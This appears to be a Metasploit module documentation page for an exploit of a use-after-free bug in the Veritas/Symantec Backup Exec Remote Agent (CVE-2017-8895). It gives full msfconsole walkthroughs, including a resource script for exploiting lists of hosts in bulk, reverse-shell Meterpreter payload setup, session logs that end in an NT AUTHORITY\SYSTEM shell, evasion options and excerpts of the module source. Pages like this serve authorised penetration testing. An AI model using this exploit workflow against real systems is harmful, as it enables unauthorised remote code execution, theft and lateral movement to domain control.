Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free - Metasploit
This page contains detailed information about how to use the exploit/windows/backupexec/ssl_uaf metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free
Module: exploit/windows/backupexec/ssl_uaf
Source code: modules/exploits/windows/backupexec/ssl_uaf.rb
Disclosure date: 2017-05-10
Last modification time: 2021-02-19 20:35:33 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 10000
List of CVEs: CVE-2017-8895
This module exploits a use-after-free vulnerability in the handling of SSL NDMP connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL is re-established on a NDMP connection that previously has had SSL established, the BIO struct for the connection's previous SSL session is reused, even though it has previously been freed. This module supports 3 specific versions of the Backup Exec agent in the 14, 15 and 16 series on 64-bit and 32-bit versions of Windows and has been tested from Vista to Windows 10. The check command can help narrow down what major and minor revision is installed and the precise of version of Windows, but some other information may be required to make a reliable choice of target. NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a reliability of around 85%. On other versions of Windows, reliability is around 35% (due to the need to win a race condition across the network in this case; this may drop further depending on network conditions). The agent is normally installed on all hosts in a domain that need to be backed up, so if one service crashes, try again on another :) Successful exploitation will give remote code execution as the user of the Backup Exec Remote Agent for Windows service, almost always NT AUTHORITY\SYSTEM.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
Using ssl_uaf against a single host
Normally, you can use exploit/windows/backupexec/ssl_uaf this way:
msf > use exploit/windows/backupexec/ssl_uaf
msf exploit(ssl_uaf) > show targets
... a list of targets ...
msf exploit(ssl_uaf) > set TARGET target-id
msf exploit(ssl_uaf) > show options
... show and set options ...
msf exploit(ssl_uaf) > exploit
Using ssl_uaf against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your ssl_uaf will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/backupexec/ssl_uaf")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT: The target port
NumTriggerAttempts: Number of attempts to trigger the vulnerability (Windows 8+ only)
Knowledge Base
Vulnerability Summary
The Backup Exec Remote Agent for Windows is vulnerable to a use-after-free in its handling of SSL/TLS-wrapped NDMP connections. If SSL/TLS is established on a NDMP connection, ended, and finally re-established, the agent will re-use previously freed SSL/TLS structures. This allows for remote code execution over an unauthenticated network connection.
Vulnerable Application
Backup Exec consists of a server component as well as remote agents that are installed on each host that should be backed up by the server.
There are remote agents available for a range of data sources, including
operating-system level agents for Windows and Linux hosts' local filesystems,
application-specific agents for Microsoft Exchange, SharePoint, Active
Directory, etc., and agents for virtual machines such as VMware or Hyper-V
instances. This exploit targets the Windows OS-level remote agents, which are
the most common type in a typical Backup Exec deployment on a Windows-based
network. The agents are installed as services running by default as the
NT AUTHORITY\SYSTEM
user.
A trial version of Backup Exec can be downloaded from Veritas' website; currently the download is available here.
Vulnerability Description
The agent accepts NDMP connections on TCP port 10000. The vendor-specific
0xF383
NDMP packet type allows for NDMP connections to be wrapped in a SSL/TLS
session. Sub-type 4
initiates the SSL/TLS handshake; after successfully
completing this the client and server continue the NDMP session through the
SSL/TLS session.
The agent makes use of OpenSSL to handle these SSL/TLS sessions. When a SSL/TLS
session is created, the agent creates necessary OpenSSL structures, including a
struct BIO
from the connection's associated network socket using
BIO_new_socket
. Upon the end of the SSL/TLS session, this structure is freed
by a call to BIO_free
through a call to SSL_free
.
However, if a SSL/TLS connection is then re-established on the same NDMP
connection, the previously freed BIO
is re-used in the new SSL/TLS session
even though it is no longer allocated. The BIO
is stored during the first
connection setup and then retrieved during second connection setup as a member
of the CSecuritySSLConnection
class, despite the call to SSL_free
previously
freeing it. This leads to a use-after-free as the BIO
contains a pointer to a
structure (BIO_METHOD *method
) of function pointers that are used to perform
operations such as reading and writing from the wrapped BIO
object (in this
case, the network socket).
By overwriting the previously allocated BIO
with controlled data, it is
possible to gain remote code execution when OpenSSL attempts to call one of
these function pointers.
Verification Steps
- Install the Backup Exec server on a host.
- Install the Backup Exec Remote Agent for Windows on another host, either manually or through the server's remote agent installation feature. Note that in this contrived test situation you should be sure to let the agent run for a few minutes before continuing so it can finish initial startup work that otherwise interferes with the exploit's heap manipulation.
- Start
msfconsole
. - Select the module and configure it with, at minimum, the address of the host
running the remote agent:
use exploit/windows/backupexec/ssl_uaf set RHOST [REMOTE AGENT HOST]
- Check the service is running and potentially vulnerable with the
check
command. - Select a target version using
set target [TARGET]
. - Select a payload and its options; for example:
set payload windows/x64/meterpreter/reverse_tcp set LHOST [METASPLOIT HOST]
- Start the exploit using the
exploit
command. - Hopefully get a
NT AUTHORITY\SYSTEM
shell :)
An example session is as follows:
msf > use exploit/windows/backupexec/ssl_uaf
msf exploit(ssl_uaf) > set RHOST win10
RHOST => win10
msf exploit(ssl_uaf) > check
Hostname: WIN10
OS type: Windows NT
OS version: Major Version=10 Minor Version=0 Build Number=14393 ServicePack Major=0 ServicePack Minor=0 SuiteMask=256 ProductType=1 ProcessorType=AMD64
Host ID: XXXX::XXXX:XXXX:XXXX:XXXX
Vendor: VERITAS Software, Corp.
Product: Remote Agent for NT
Revision: 9.2
[*] win10:10000 The target appears to be vulnerable.
msf exploit(ssl_uaf) > show targets
Exploit targets:
Id Name
-- ----
0 Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64
1 Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86
2 Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64
3 Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86
4 Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64
5 Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86
6 Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64
7 Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86
8 Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64
9 Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86
10 Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64
11 Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86
msf exploit(ssl_uaf) > set target 4
target => 4
msf exploit(ssl_uaf) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ssl_uaf) > set LHOST 10.123.1.1
LHOST => 10.123.1.1
msf exploit(ssl_uaf) > exploit
[*] Started reverse TCP handler on 10.123.1.1:4444
[*] win10:10000 - Connecting sockets...
[*] win10:10000 - CA certificate ID = 8120a0e9
[*] win10:10000 - Getting and handling a certificate signing request...
[*] win10:10000 - Agent certificate ID = 430b56d0
[*] win10:10000 - Testing certificate...
[*] win10:10000 - Spraying TLS extensions...
[*] win10:10000 - Entering SSL mode on main socket...
[*] win10:10000 - Spraying TLS extensions...
[*] win10:10000 - Sending stages 2 to 4...
[*] win10:10000 - Closing TLS spray sockets...
[*] win10:10000 - Re-entering SSL mode on main socket...
[*] win10:10000 - Spraying stage 1...
[*] win10:10000 - Triggering UAF, attempt 1/50...
[*] Sending stage (1189423 bytes) to 10.123.1.2
[*] win10:10000 - Spraying stage 1...
[*] win10:10000 - Triggering UAF, attempt 2/50...
[*] Meterpreter session 1 opened (10.123.1.1:4444 -> 10.123.1.2:49748) at 2017-05-23 21:53:07 +1200
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Options
Apart from the usual exploit module options such as RHOST
, the module has a
few exploit-specific options. These should not normally need to be set or
changed from their default values in most situations as the exploit will pick
suitable values for them depending on the target selected.
NumSpraySockets
The number of sockets connected to the remote agent in order to spray stage 1 of
the exploit, which should overwrite the freed BIO
.
NumTLSSpraySockets
The number of sockets connected to the remote agent in order to spray TLS
extensions. This is used to massage the low fragmentation heap in order to
increase chances of stage 1 successfully overwriting the freed BIO
.
NumTriggerAttempts The number of attempts made to trigger the use-after-free for Windows 8+ targets, where it is possible to retry calling the overwritten function pointer multiple times.
Scenarios
The Backup Exec Remote Agent for Windows is installed on each host that has local filesystems that should be backed up. These agents listen on the network for NDMP connections (on port 10000), appearing in Nmap scans with scripts enabled as follows:
Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-23 20:47 NZST
Nmap scan report for (...)
Host is up (0.0035s latency).
Not shown: 994 filtered ports
PORT STATE SERVICE VERSION
(...)
10000/tcp open ndmp Symantec/Veritas Backup Exec ndmp (NDMPv3)
|_ndmp-version: ERROR: Script execution failed (use -d to debug)
(Note that the ndmp-version
script fails to execute due to not sending an
NDMP_CONNECT_OPEN
request before querying version information with the
NDMP_CONFIG_GET_HOST_INFO
request. This exploit module's check
command will
carry this query out successfully.)
While the exploit is not guaranteed to gain RCE (see the module's description),
in practise the agent is often widely installed in a Windows domain across a
range of hosts (including fileservers and domain controllers). This means
usually at least one instance of the agent will give a shell on a server where
it's easy enough to further escalate to Domain Administator from SYSTEM
.
Go back to menu.
Msfconsole Usage
Here is how the windows/backupexec/ssl_uaf exploit module looks in the msfconsole:
msf6 > use exploit/windows/backupexec/ssl_uaf
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/backupexec/ssl_uaf) > show info
Name: Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free
Module: exploit/windows/backupexec/ssl_uaf
Platform: Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-05-10
Provided by:
Matthew Daley
Available targets:
Id Name
-- ----
0 Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64
1 Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86
2 Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64
3 Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86
4 Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64
5 Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86
6 Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64
7 Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86
8 Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64
9 Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86
10 Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64
11 Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
NumSpraySockets no Number of sockets to spray stage 1 with
NumTLSSpraySockets no Number of sockets to spray TLS extensions with
NumTriggerAttempts 50 yes Number of attempts to trigger the vulnerability (Windows 8+ only)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10000 yes The target port (TCP)
Payload information:
Description:
This module exploits a use-after-free vulnerability in the handling
of SSL NDMP connections in Veritas/Symantec Backup Exec's Remote
Agent for Windows. When SSL is re-established on a NDMP connection
that previously has had SSL established, the BIO struct for the
connection's previous SSL session is reused, even though it has
previously been freed. This module supports 3 specific versions of
the Backup Exec agent in the 14, 15 and 16 series on 64-bit and
32-bit versions of Windows and has been tested from Vista to Windows
10. The check command can help narrow down what major and minor
revision is installed and the precise of version of Windows, but
some other information may be required to make a reliable choice of
target. NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed.
On Windows 8+, it has a reliability of around 85%. On other versions
of Windows, reliability is around 35% (due to the need to win a race
condition across the network in this case; this may drop further
depending on network conditions). The agent is normally installed on
all hosts in a domain that need to be backed up, so if one service
crashes, try again on another :) Successful exploitation will give
remote code execution as the user of the Backup Exec Remote Agent
for Windows service, almost always NT AUTHORITY\SYSTEM.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-8895
VTS (17-006)
https://www.veritas.com/content/support/en_US/security/VTS17-006.html
Module Options
This is a complete list of options available in the windows/backupexec/ssl_uaf exploit:
msf6 exploit(windows/backupexec/ssl_uaf) > show options
Module options (exploit/windows/backupexec/ssl_uaf):
Name Current Setting Required Description
---- --------------- -------- -----------
NumSpraySockets no Number of sockets to spray stage 1 with
NumTLSSpraySockets no Number of sockets to spray TLS extensions with
NumTriggerAttempts 50 yes Number of attempts to trigger the vulnerability (Windows 8+ only)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10000 yes The target port (TCP)
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
8 Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64
Advanced Options
Here is a complete list of advanced options supported by the windows/backupexec/ssl_uaf exploit:
msf6 exploit(windows/backupexec/ssl_uaf) > show advanced
Module advanced options (exploit/windows/backupexec/ssl_uaf):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/backupexec/ssl_uaf module can exploit:
msf6 exploit(windows/backupexec/ssl_uaf) > show targets
Exploit targets:
Id Name
-- ----
0 Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64
1 Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86
2 Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64
3 Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86
4 Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64
5 Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86
6 Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64
7 Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86
8 Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64
9 Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86
10 Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64
11 Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/backupexec/ssl_uaf exploit:
msf6 exploit(windows/backupexec/ssl_uaf) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
21 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
22 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
24 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
25 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
26 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
27 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
28 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
29 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
30 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
31 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
32 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
33 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
34 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
35 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
36 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
37 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
38 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
39 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
40 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
41 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
42 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
43 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
44 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
45 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
46 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
47 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
48 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
49 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
50 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
51 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
52 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
53 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
54 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
55 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
56 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
57 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
58 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
59 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
60 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
61 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
62 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/backupexec/ssl_uaf exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/backupexec/ssl_uaf) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Couldn't connect main socket
- Couldn't sign certificate request
- Failed to read TLS handshake response. Are you sure you selected the right target version?
- Bad connect result
- Couldn't connect NDMP socket (phase <PHASE>)
- Failed to perform SSL request/response (opcode <OPCODE>)
- Non-empty SSL response (opcode <OPCODE>) result
- No payload
- No TLS extension payloads given
- Bad EC formats extension length
- Bad curves extension length
- Bad random length
- No payload
- Bad first byte
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Couldn't connect main socket
Here is a relevant code snippet related to the "Couldn't connect main socket" error message:
174: )
175: tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3)
176:
177: s = NDMP::Socket.new(connect)
178: unless connect_ndmp(s, 3)
179: fail_with(Failure::UnexpectedReply, "Couldn't connect main socket")
180: end
181:
182: ca_cert, ca_key = generate_ca_cert_and_key
183: ca_cert_id = get_cert_id(ca_cert)
184: print_status("CA certificate ID = #{ca_cert_id.to_s(16)}")
Couldn't sign certificate request
Here is a relevant code snippet related to the "Couldn't sign certificate request" error message:
183: ca_cert_id = get_cert_id(ca_cert)
184: print_status("CA certificate ID = #{ca_cert_id.to_s(16)}")
185:
186: print_status('Getting and handling a certificate signing request...')
187: agent_cert = handle_a_csr(s, ca_cert, ca_key)
188: fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil?
189: print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}")
190:
191: if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15
192: # For certain target types, put the stage 1 spray sockets into SSL mode. We can use
193: # the newly made CA certificate and key as our client side certificate
Failed to read TLS handshake response. Are you sure you selected the right target version?
Here is a relevant code snippet related to the "Failed to read TLS handshake response. Are you sure you selected the right target version?" error message:
337: end
338: end
339: s.raw_sendall(stage_tls, 0)
